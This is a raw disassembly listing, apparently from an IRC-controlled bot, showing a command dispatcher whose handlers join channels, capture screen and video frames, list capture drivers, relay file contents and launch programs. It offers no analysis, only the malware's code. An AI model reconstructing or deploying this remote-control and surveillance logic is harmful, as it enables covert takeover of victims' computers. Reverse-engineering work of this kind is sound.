esi call sub_41B779 add esp, 10h cmp eax, esi jnz short loc_408404 mov [ebp+var_638], 5 loc_408404: ; CODE XREF: sub_401ACD+692Cj cmp [ebp+var_C], ebx jz loc_406CDF push edi push [ebp+var_C] call sub_41B900 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406CDF lea eax, [ebp+var_E10] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2660C3Bh test eax, eax jnz short loc_40844D push offset unk_42A6E8 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_40844D: ; CODE XREF: sub_401ACD+6974j push edi push offset dword_42A6CC jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_408458: ; CODE XREF: sub_401ACD+4ACCj ; sub_401ACD+4AE3j push edi push offset aQsfpo ; "qsfpo" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4085D1 lea eax, [ebp+var_48F0] push eax push 104h call near ptr 26A0000h nop push 0FFh lea eax, [ebp+var_25D0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_17D0] push eax call sub_40AD81 add esp, 10h push eax lea eax, [ebp+var_48F0] push eax lea eax, [ebp+var_24D0] push offset aSS_exe ; "%s%s.exe" push eax call sub_41B886 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23CC], 1 mov [ebp+var_23C8], ebx jz short loc_4084ED push 10h push ebx push eax call sub_41BDC5 add esp, 0Ch mov [ebp+var_23C0], eax jmp short loc_4084F3 ; --------------------------------------------------------------------------- loc_4084ED: ; CODE XREF: sub_401ACD+6A0Aj mov [ebp+var_23C0], ebx loc_4084F3: ; CODE XREF: sub_401ACD+6A1Ej mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40850A push esi call sub_41B779 pop ecx mov [ebp+var_23C4], eax jmp short loc_408510 ; --------------------------------------------------------------------------- loc_40850A: ; CODE XREF: sub_401ACD+6A2Cj mov [ebp+var_23C4], ebx loc_408510: ; CODE XREF: sub_401ACD+6A3Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23BC], eax lea eax, [ebp+var_2650] mov [ebp+var_2654], esi push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B4], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_23B8], eax lea eax, [ebp+var_2C4] push offset dword_42A694 push eax call sub_41B886 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B0F7 add esp, 18h mov [ebp+var_23D0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2654] push ebx push eax push offset loc_4163FA push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_23D0] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_4085C0 loc_4085AA: ; CODE XREF: sub_401ACD+6AF1j cmp [ebp+var_23B0], ebx jnz loc_406CDF push 32h nop call near ptr 2680000h jmp short loc_4085AA ; --------------------------------------------------------------------------- loc_4085C0: ; CODE XREF: sub_401ACD+6ADBj nop call near ptr 2680ABEh push eax push offset dword_42A658 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4085D1: ; CODE XREF: sub_401ACD+699Aj push offset dword_42A610 loc_4085D6: ; CODE XREF: sub_401ACD+2E74j ; sub_401ACD+457Dj ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_406CDF ; --------------------------------------------------------------------------- loc_4085E9: ; CODE XREF: sub_401ACD+4A9Ej ; sub_401ACD+4AB5j push [ebp+var_8C] push offset dword_42D028 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A600 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 push [ebp+arg_10] call sub_41B779 add esp, 28h test eax, eax jle short loc_408674 push [ebp+arg_10] call sub_41B779 imul eax, 3E8h pop ecx push eax call near ptr 2680000h nop loc_408674: ; CODE XREF: sub_401ACD+6B8Fj push offset dword_42A5EC call sub_4151AD mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408688: ; CODE XREF: sub_401ACD+4A70j ; sub_401ACD+4A87j push [ebp+var_8C] push offset dword_42D028 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 cmp [ebp+var_C], ebx jz loc_409855 push edi push [ebp+var_C] call sub_41B900 inc edi push offset aRepeat ; "repeat" push edi mov esi, eax call sub_41C070 add esp, 10h test eax, eax push esi jz short loc_408746 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A600 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset dword_42A5D4 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AD push [ebp+arg_10] call sub_41B779 add esp, 14h test eax, eax jle loc_409855 push [ebp+arg_10] call sub_41B779 add eax, [ebp+arg_24] pop ecx jmp loc_401E97 ; --------------------------------------------------------------------------- loc_408746: ; CODE XREF: sub_401ACD+6BFBj push offset unk_42A5A0 loc_40874B: ; CODE XREF: sub_401ACD+7543j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_40875A: ; CODE XREF: sub_401ACD+74CBj ; sub_401ACD+7624j cmp [ebp+var_8], ebx jnz short loc_40877B push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h loc_40877B: ; CODE XREF: sub_401ACD+6C90j ; sub_401ACD+72C8j ... lea eax, [ebp+var_2C4] push eax call sub_4151AD jmp loc_409854 ; --------------------------------------------------------------------------- loc_40878C: ; CODE XREF: sub_401ACD+4A42j ; sub_401ACD+4A59j push 7Fh lea eax, [ebp+var_2214] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2194] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2114] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2090], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_208C], eax lea eax, [ebp+var_2C4] mov [ebp+var_2218], esi push offset unk_42A56C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_2094], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2218] push ebx push eax push offset dword_4143CC push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_2094] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40884C loc_40883A: ; CODE XREF: sub_401ACD+6D7Dj cmp [ebp+var_2088], ebx jnz short loc_408867 push 32h call near ptr 2680000h nop jmp short loc_40883A ; --------------------------------------------------------------------------- loc_40884C: ; CODE XREF: sub_401ACD+6D6Bj nop call near ptr 2680ABEh push eax push offset unk_42A530 loc_408858: ; CODE XREF: sub_401ACD+6E8Aj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_408867: ; CODE XREF: sub_401ACD+6D73j ; sub_401ACD+6E6Ej cmp [ebp+var_8], ebx jnz loc_409631 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_409629 ; --------------------------------------------------------------------------- loc_408887: ; CODE XREF: sub_401ACD+4A14j ; sub_401ACD+4A2Bj push 7Fh lea eax, [ebp+var_23A8] push [ebp+arg_10] push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_2328] push edi push eax call sub_41B5F0 push 7Fh lea eax, [ebp+var_22A8] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 24h mov esi, [ebp+arg_4] mov [ebp+var_2224], eax mov eax, [ebp+var_8] push edi push [ebp+arg_10] mov [ebp+var_2220], eax lea eax, [ebp+var_2C4] mov [ebp+var_23AC], esi push offset dword_42A504 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_2228], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23AC] push ebx push eax push offset dword_413B78 push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_2228] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40894B loc_408935: ; CODE XREF: sub_401ACD+6E7Cj cmp [ebp+var_221C], ebx jnz loc_408867 push 32h nop call near ptr 2680000h jmp short loc_408935 ; --------------------------------------------------------------------------- loc_40894B: ; CODE XREF: sub_401ACD+6E66j nop call near ptr 2680ABEh push eax push offset dword_42A4C8 jmp loc_408858 ; --------------------------------------------------------------------------- loc_40895C: ; CODE XREF: sub_401ACD+49E6j ; sub_401ACD+49FDj push edi lea eax, [ebp+var_2C4] push offset dword_42A4C0 push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 10h loc_408979: ; CODE XREF: sub_401ACD+6F17j test eax, eax jle loc_409855 push [ebp+arg_10] call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 loc_408995: ; CODE XREF: sub_401ACD+7A56j lea eax, [ebp+var_2C4] push eax push offset dword_42A4B8 push [ebp+arg_10] call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A2D jmp loc_404934 ; --------------------------------------------------------------------------- loc_4089C0: ; CODE XREF: sub_401ACD+49B8j ; sub_401ACD+49CFj push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push edi push offset dword_42A4AC push eax call sub_41B886 push [ebp+arg_10] call sub_41B779 add esp, 14h jmp short loc_408979 ; --------------------------------------------------------------------------- loc_4089E6: ; CODE XREF: sub_401ACD+498Aj ; sub_401ACD+49A1j push edi lea eax, [ebp+var_2C4] push offset dword_42BB58 push eax call sub_41B886 mov esi, [ebp+arg_10] push esi call sub_41B779 add esp, 10h test eax, eax jle loc_409855 push esi call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 lea eax, [ebp+var_2C4] push eax push offset dword_42A4B8 push esi call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A2D add esp, 0Ch push edi push esi push offset dword_42A490 loc_408A4C: ; CODE XREF: sub_401ACD+700Aj ; sub_401ACD+7079j ... call sub_415221 jmp loc_404934 ; --------------------------------------------------------------------------- loc_408A56: ; CODE XREF: sub_401ACD+495Cj ; sub_401ACD+4973j cmp [ebp+var_C], ebx jz loc_409855 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408A85 push esi lea eax, [ebp+var_2C4] push offset dword_42A488 push eax call sub_41B886 add esp, 0Ch loc_408A85: ; CODE XREF: sub_401ACD+6FA1j mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409855 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 lea eax, [ebp+var_2C4] push eax push offset dword_42A4B8 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A2D add esp, 0Ch push esi push edi push offset dword_42A46C jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408ADC: ; CODE XREF: sub_401ACD+492Ej ; sub_401ACD+4945j cmp [ebp+var_C], ebx jz loc_409855 push edi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 mov edi, [ebp+arg_10] push edi call sub_41B779 test eax, eax pop ecx jle loc_409855 push edi call sub_41B779 cmp eax, 400h pop ecx jge loc_409855 push esi push offset dword_42A4B8 push edi call sub_41B779 imul eax, 234h pop ecx push dword_43E59C[eax] call sub_409A2D add esp, 0Ch push esi push edi push offset dword_42A450 jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408B4B: ; CODE XREF: sub_401ACD+4900j ; sub_401ACD+4917j cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409A2D add esp, 0Ch push esi push offset unk_42A428 jmp loc_40984E ; --------------------------------------------------------------------------- loc_408B87: ; CODE XREF: sub_401ACD+48D2j ; sub_401ACD+48E9j push [ebp+var_8C] push offset dword_42D028 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_401E94 push edi push offset dword_42A41C push [ebp+arg_4] call sub_409A2D push [ebp+arg_10] call sub_41B779 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2680000h push [ebp+esi+var_84] push edi push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2D push offset dword_42A408 call sub_4151AD jmp loc_403520 ; --------------------------------------------------------------------------- loc_408BEB: ; CODE XREF: sub_401ACD+48A4j ; sub_401ACD+48BBj cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409855 push esi lea eax, [ebp+var_2C4] push offset dword_42AB3C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_10] push [ebp+arg_4] call sub_409A73 add esp, 20h push esi push [ebp+arg_10] push offset unk_42A3EC jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408C58: ; CODE XREF: sub_401ACD+4876j ; sub_401ACD+488Dj cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] call sub_41AFE0 push [ebp+arg_8] mov esi, eax call sub_41AFE0 add eax, [ebp+var_C] push edi lea eax, [eax+esi+2] push eax call sub_41B900 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409855 push ebx push ebx push esi push [ebp+arg_10] push [ebp+arg_4] call sub_409A73 add esp, 14h push esi push [ebp+arg_10] push offset unk_42A3CC jmp loc_408A4C ; --------------------------------------------------------------------------- loc_408CAD: ; CODE XREF: sub_401ACD+4848j ; sub_401ACD+485Fj cmp [ebp+var_C], ebx jz loc_401E94 push edi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 push eax push [ebp+arg_10] call sub_4150B5 pop ecx pop ecx push [ebp+arg_10] push offset unk_42A3AC loc_408CDC: ; CODE XREF: sub_401ACD+5853j ; sub_401ACD+7B2Bj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_409610 ; --------------------------------------------------------------------------- loc_408CF0: ; CODE XREF: sub_401ACD+481Aj ; sub_401ACD+4831j push edi push [ebp+arg_10] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_4184E2 jmp loc_4040FD ; --------------------------------------------------------------------------- loc_408D0A: ; CODE XREF: sub_401ACD+47DCj ; sub_401ACD+47F1j push [ebp+arg_10] push [ebp+arg_1C] call sub_41B900 pop ecx test eax, eax pop ecx jz loc_409855 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408DB2 push esi push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408D9A push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A600 push eax call sub_41B886 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41B5F0 add esp, 24h lea eax, [ebp+var_2C4] push esi push [ebp+arg_10] push offset unk_42A384 push eax call sub_41B886 add esp, 10h inc [ebp+arg_24] jmp loc_40877B ; --------------------------------------------------------------------------- loc_408D9A: ; CODE XREF: sub_401ACD+7270j lea eax, [ebp+var_2C4] push offset unk_42A354 push eax call sub_41B886 pop ecx pop ecx jmp loc_40877B ; --------------------------------------------------------------------------- loc_408DB2: ; CODE XREF: sub_401ACD+725Bj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF7 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h lea eax, [ebp+var_2C4] push [ebp+arg_10] push offset dword_42A338 push 200h push eax call sub_41B980 add esp, 10h jmp loc_40877B ; --------------------------------------------------------------------------- loc_408DFE: ; CODE XREF: sub_401ACD+47B2j ; sub_401ACD+47C7j push offset aScreen ; "screen" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408E59 mov edi, [ebp+esi+var_88] cmp edi, ebx jz short loc_408E46 push edi call sub_4153BD cmp eax, 1 pop ecx jnz short loc_408E3F push edi lea eax, [ebp+var_2C4] push offset unk_42A304 push eax call sub_41B886 add esp, 0Ch jmp short loc_408E59 ; --------------------------------------------------------------------------- loc_408E3F: ; CODE XREF: sub_401ACD+7359j push offset unk_42A2D4 jmp short loc_408E4B ; --------------------------------------------------------------------------- loc_408E46: ; CODE XREF: sub_401ACD+734Dj push offset unk_42A298 loc_408E4B: ; CODE XREF: sub_401ACD+7377j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408E59: ; CODE XREF: sub_401ACD+7342j ; sub_401ACD+7370j push offset aDrivers ; "drivers" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_408EE6 xor edi, edi loc_408E6E: ; CODE XREF: sub_401ACD+7404j lea eax, [ebp+var_53F8] push 1FFh push eax lea eax, [ebp+var_4EF0] push 0FFh push eax push edi call dword_4CB684 test eax, eax jz short loc_408ECD lea eax, [ebp+var_53F8] push eax lea eax, [ebp+var_4EF0] push eax push edi lea eax, [ebp+var_5D88] push offset unk_42A268 push eax call sub_41B886 push ebx lea eax, [ebp+var_5D88] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 28h loc_408ECD: ; CODE XREF: sub_401ACD+73C2j inc edi cmp edi, 0Ah jl short loc_408E6E lea eax, [ebp+var_2C4] push offset unk_42A240 push eax call sub_41B886 pop ecx pop ecx loc_408EE6: ; CODE XREF: sub_401ACD+739Dj push offset aFrame ; "frame" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_408F87 cmp [ebp+esi+var_88], ebx jz short loc_408F74 cmp [ebp+esi+var_84], ebx jz short loc_408F74 mov edi, [ebp+esi+var_80] cmp edi, ebx jz short loc_408F74 mov eax, [ebp+esi+var_7C] cmp eax, ebx jz short loc_408F74 push eax call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+esi+var_84] call sub_41B779 pop ecx push eax push [ebp+esi+var_88] call sub_4155F8 add esp, 10h test eax, eax jnz short loc_408F6D push [ebp+esi+var_88] lea eax, [ebp+var_2C4] push offset unk_42A20C push eax call sub_41B886 add esp, 0Ch jmp short loc_408F87 ; --------------------------------------------------------------------------- loc_408F6D: ; CODE XREF: sub_401ACD+7481j push offset unk_42A1D8 jmp short loc_408F79 ; --------------------------------------------------------------------------- loc_408F74: ; CODE XREF: sub_401ACD+7437j ; sub_401ACD+7440j ... push offset unk_42A1A0 loc_408F79: ; CODE XREF: sub_401ACD+74A5j lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx loc_408F87: ; CODE XREF: sub_401ACD+742Aj ; sub_401ACD+749Ej push offset aVideo ; "video" push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40875A mov eax, [ebp+esi+var_88] cmp eax, ebx mov [ebp+arg_1C], eax jz short loc_40901F mov eax, [ebp+esi+var_84] cmp eax, ebx mov [ebp+arg_0], eax jz short loc_40901F mov eax, [ebp+esi+var_80] cmp eax, ebx mov [ebp+arg_18], eax jz short loc_40901F mov edi, [ebp+esi+var_7C] cmp edi, ebx jz short loc_40901F mov esi, [ebp+esi+var_78] cmp esi, ebx jz short loc_40901F push esi call sub_41B779 pop ecx push eax push edi call sub_41B779 pop ecx push eax push [ebp+arg_18] call sub_41B779 pop ecx push eax push [ebp+arg_0] call sub_41B779 pop ecx push eax push [ebp+arg_1C] call sub_4157F1 add esp, 14h test eax, eax jnz short loc_409015 push [ebp+arg_1C] push offset unk_42A16C jmp loc_40874B ; --------------------------------------------------------------------------- loc_409015: ; CODE XREF: sub_401ACD+7539j push offset unk_42A12C jmp loc_4090E3 ; --------------------------------------------------------------------------- loc_40901F: ; CODE XREF: sub_401ACD+74DDj ; sub_401ACD+74EBj ... push offset unk_42A0EC jmp loc_4090E3 ; --------------------------------------------------------------------------- loc_409029: ; CODE XREF: sub_401ACD+4042j ; sub_401ACD+4057j push offset aR ; "r" push [ebp+arg_10] call sub_41B4C2 mov edi, eax pop ecx cmp edi, ebx pop ecx jz short loc_409099 mov esi, 200h push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 0Ch loc_409054: ; CODE XREF: sub_401ACD+75B6j test eax, eax jz short loc_409085 push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 push edi lea eax, [ebp+var_2C4] push esi push eax call sub_41BB4F add esp, 20h jmp short loc_409054 ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+7589j push edi call sub_41B05B pop ecx push [ebp+arg_10] push offset unk_42A0C8 jmp loc_409227 ; --------------------------------------------------------------------------- loc_409099: ; CODE XREF: sub_401ACD+756Fj push [ebp+arg_10] push offset unk_42A0A4 jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4090A6: ; CODE XREF: sub_401ACD+4018j ; sub_401ACD+402Dj cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409855 push offset asc_42A0A0 ; "\n" push esi call sub_41BEC0 push esi call sub_419A51 add esp, 0Ch test eax, eax jnz short loc_4090F6 push offset unk_42A074 loc_4090E3: ; CODE XREF: sub_401ACD+754Dj ; sub_401ACD+7557j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 pop ecx pop ecx jmp loc_40875A ; --------------------------------------------------------------------------- loc_4090F6: ; CODE XREF: sub_401ACD+760Fj push esi lea eax, [ebp+var_2C4] push offset dword_42A05C push eax call sub_41B886 add esp, 0Ch jmp loc_40877B ; --------------------------------------------------------------------------- loc_409110: ; CODE XREF: sub_401ACD+3FEEj ; sub_401ACD+4003j cmp [ebp+var_C], ebx jz loc_409855 push [ebp+arg_10] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_409855 push eax call sub_418212 test eax, eax pop ecx jnz short loc_409140 push offset unk_42A03C jmp short loc_4090E3 ; --------------------------------------------------------------------------- loc_409140: ; CODE XREF: sub_401ACD+766Aj push offset dword_42A020 jmp short loc_4090E3 ; --------------------------------------------------------------------------- loc_409147: ; CODE XREF: sub_401ACD+3FC4j ; sub_401ACD+3FD9j push 7Fh lea eax, [ebp+var_2080] push [ebp+arg_10] push eax call sub_41B5F0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_409178 push 7Fh lea eax, [ebp+var_2000] push esi push eax call sub_41B5F0 add esp, 0Ch loc_409178: ; CODE XREF: sub_401ACD+7697j push 7Fh lea eax, [ebp+var_1F80] push [ebp+var_88] push eax call sub_41B5F0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2084], eax mov eax, [ebp+var_8] push [ebp+arg_10] mov [ebp+var_1EFC], eax mov eax, [ebp+var_4] mov [ebp+var_1EF8], eax lea eax, [ebp+var_2C4] push offset dword_42A008 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B0F7 add esp, 18h mov [ebp+var_1F00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2084] push ebx push eax push offset sub_41ADB6 push ebx push ebx call near ptr 2680098h nop mov ecx, [ebp+var_1F00] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz short loc_40921B loc_409205: ; CODE XREF: sub_401ACD+774Cj cmp [ebp+var_1EF4], ebx jnz loc_406D00 push 32h nop call near ptr 2680000h jmp short loc_409205 ; --------------------------------------------------------------------------- loc_40921B: ; CODE XREF: sub_401ACD+7736j call near ptr 2680ABEh nop push eax push offset unk_429FC8 loc_409227: ; CODE XREF: sub_401ACD+29CFj ; sub_401ACD+75C7j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_406D00 ; --------------------------------------------------------------------------- loc_40923B: ; CODE XREF: sub_401ACD+3F9Aj ; sub_401ACD+3FAFj push ebx push [ebp+var_88] push [ebp+arg_4] push [ebp+arg_10] call sub_40F96B add esp, 10h push [ebp+arg_10] push offset dword_429FB0 jmp loc_40984E ; --------------------------------------------------------------------------- loc_40925D: ; CODE XREF: sub_401ACD+3F70j ; sub_401ACD+3F85j push 14h lea eax, [ebp+var_1D48] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_1D34] push [ebp+arg_10] push offset aS_1 ; "%s" push eax call sub_41B886 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D50], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C30] push 80h push eax call sub_41B980 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BA8], eax mov eax, [ebp+var_8] mov [ebp+var_1BA4], eax lea eax, [ebp+var_1C30] push eax lea eax, [ebp+var_1D34] push eax lea eax, [ebp+var_2C4] push offset unk_429F8C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F7 add esp, 1Ch mov [ebp+var_1BAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D50] push ebx push eax push offset loc_415E1B push ebx push ebx nop call near ptr 2680098h mov ecx, [ebp+var_1BAC] imul ecx, 234h cmp eax, ebx mov dword_43E5A4[ecx], eax jz loc_4023E6 loc_409326: ; CODE XREF: sub_401ACD+786Dj cmp [ebp+var_1BA0], ebx jnz loc_4083BD push 32h nop call near ptr 2680000h jmp short loc_409326 ; --------------------------------------------------------------------------- loc_40933C: ; CODE XREF: sub_401ACD+3F46j ; sub_401ACD+3F5Bj push [ebp+arg_10] nop call near ptr 26802D9h test eax, eax jz short loc_409367 push [ebp+arg_10] lea eax, [ebp+var_2C4] push offset dword_429F70 push 200h push eax call sub_41B980 jmp loc_409445 ; --------------------------------------------------------------------------- loc_409367: ; CODE XREF: sub_401ACD+787Aj push offset dword_42A778 call sub_41814D pop ecx push eax jmp loc_403F48 ; --------------------------------------------------------------------------- loc_409378: ; CODE XREF: sub_401ACD+3F1Cj ; sub_401ACD+3F31j push [ebp+arg_10] call sub_41B779 push eax call sub_4199CA pop ecx pop ecx push 1 pop esi push [ebp+arg_10] cmp eax, esi jnz short loc_409399 push offset unk_429F4C jmp short loc_40939E ; --------------------------------------------------------------------------- loc_409399: ; CODE XREF: sub_401ACD+78C3j push offset unk_429F1C loc_40939E: ; CODE XREF: sub_401ACD+78CAj lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406D03 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A73 add esp, 14h jmp loc_406D03 ; --------------------------------------------------------------------------- loc_4093D7: ; CODE XREF: sub_401ACD+3EF2j ; sub_401ACD+3F07j push ebx push ebx push [ebp+arg_10] push [ebp+var_4] push ebx push [ebp+arg_4] call sub_4196BD add esp, 18h cmp eax, 1 push [ebp+arg_10] jnz short loc_4093FD push offset unk_429EFC jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_4093FD: ; CODE XREF: sub_401ACD+7924j push offset unk_429ECC jmp loc_406CD0 ; --------------------------------------------------------------------------- loc_409407: ; CODE XREF: sub_401ACD+3EC8j ; sub_401ACD+3EDDj mov esi, [ebp+arg_10] push esi call dword_4CB694 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_40944D push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB60C cmp eax, ebx jz short loc_409468 push dword ptr [eax] loc_409433: ; CODE XREF: sub_401ACD+7999j push esi lea eax, [ebp+var_2C4] push offset unk_429EAC push eax call sub_41B886 loc_409445: ; CODE XREF: sub_401ACD+7895j add esp, 10h jmp loc_406CDF ; --------------------------------------------------------------------------- loc_40944D: ; CODE XREF: sub_401ACD+794Dj push esi call dword_4CB6D8 cmp eax, ebx jz short loc_409468 mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CB6E0 push eax jmp short loc_409433 ; --------------------------------------------------------------------------- loc_409468: ; CODE XREF: sub_401ACD+7962j ; sub_401ACD+7989j push offset unk_429E84 jmp loc_4085D6 ; --------------------------------------------------------------------------- loc_409472: ; CODE XREF: sub_401ACD+3E9Ej ; sub_401ACD+3EB3j push 7Fh push [ebp+arg_10] push [ebp+arg_14] call sub_41B5F0 add esp, 0Ch push [ebp+arg_10] push offset unk_429E5C jmp loc_4049EC ; --------------------------------------------------------------------------- loc_40948F: ; CODE XREF: sub_401ACD+3E74j ; sub_401ACD+3E89j push 5 push ebx push ebx push [ebp+arg_10] push offset aOpen ; "open" push ebx call dword_4CB5C0 push [ebp+arg_10] test eax, eax jz short loc_4094B3 push offset unk_429E3C jmp loc_406CD0 ; --------------------------------------------------------------------------- 